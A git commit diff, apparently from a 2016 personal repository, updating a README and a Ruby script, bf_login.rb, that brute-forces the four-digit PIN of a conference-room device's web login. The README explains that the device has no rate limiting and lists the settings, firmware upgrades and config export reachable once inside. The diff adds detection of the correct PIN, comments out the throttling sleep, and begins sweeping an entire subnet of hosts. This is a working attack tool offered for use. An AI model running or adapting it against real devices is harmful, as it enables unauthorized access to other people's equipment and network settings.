final touches on success determination, initial subnet sweeping work, readme updates

This commit is contained in:
Conor Horan-Kates 2016-07-01 15:16:47 -07:00
parent 42b17091fd
commit 749e260f36
2 changed files with 45 additions and 19 deletions

View File

@ -4,7 +4,7 @@ found this device in a conference room, found the IP from an unauthenticated men
## story time ## story time
from the page that loaded when you first hit http://<device>, i noticed `app.js` from the page that loaded when you first hit `http://<device>`, i noticed `app.js` was being loaded.
in it, i found: in it, i found:
```json ```json
@ -13,8 +13,27 @@ in it, i found:
- pattern: /^(\d{4,})$/, - pattern: /^(\d{4,})$/,
``` ```
so we can assume that there are only 9999 possibilities, which is definitely small enough to brute force.
there doesn't seem to be any protection/rate limiting, so..
## tools ## tools
name | description name | description
-----|------------- -----|-------------
[bf_login.rb](bf_login.rb) | brute forces the PIN on the web interface [bf_login.rb](bf_login.rb) | brute forces the PIN on the web interface
## functionality exposed
* change settings
* screen brightness, timeout, enable/disable
* LED colors, enable/disable
* SIP settings
* DHCP, NTP settings
* name displayed
* etc
* upgrade firmware - need to do more digging here
* restart device
* pull logs/configuration
* SIP password is not included in exported config.xml
the same functionality, in a different interface is now available on the dialer as well as via HTTP. interestingly, many features/settings are exposed on the dialer, while all access over HTTP must be authenticated

View File

@ -49,38 +49,45 @@ end
address = ARGV.pop address = ARGV.pop
errors = Array.new errors = Array.new
responses = Array.new responses = Array.new
output = sprintf('%s-logs.%s.%s.json', __FILE__, Time.now.to_i, $$) output = sprintf('%s-logs-%s.%s.%s.json', __FILE__, address, Time.now.to_i, $$)
if address.nil? if address.nil?
puts sprintf('usage: %s <address>', __FILE__) puts sprintf('usage: %s <address>', __FILE__)
exit 1 exit 1
end end
9999.downto(0) do |i| 1.upto(254) do |octet|
# TODO we should prioritize 0000, 1234, etc base = $1 if address.match(/((?:\d{1,3}){3}\.)/)
ip = sprintf('%s.%s', base, octet)
9999.downto(0) do |i|
# TODO we should prioritize 0000, 1234, etc
pin = sprintf('%04d', i) pin = sprintf('%04d', i)
begin begin
url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address) url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address)
puts sprintf('trying pin[%s]', pin) puts sprintf('trying pin[%s]', pin)
response = check_pin(url, pin) response = check_pin(url, pin)
# TODO need to do some inspection on the responses to find the difference responses << response
responses << response if response.body.match(/1/)
puts sprintf('INFO: found the pin[%s]', pin)
break
end
# TODO need to do some handling on the rate limiting that is almost certain to follow, this is a bit blind #sleep 1 if (i % 100).eql?(0)
sleep 1 if (i % 100).eql?(0)
rescue => e
puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
errors << { :exception => e, :pin => pin }
end
rescue => e
puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
errors << { :exception => e, :pin => pin }
end end
end end
# marshalling the data, at least until we know what we're looking for # marshalling the data, at least until we know what we're looking for
begin begin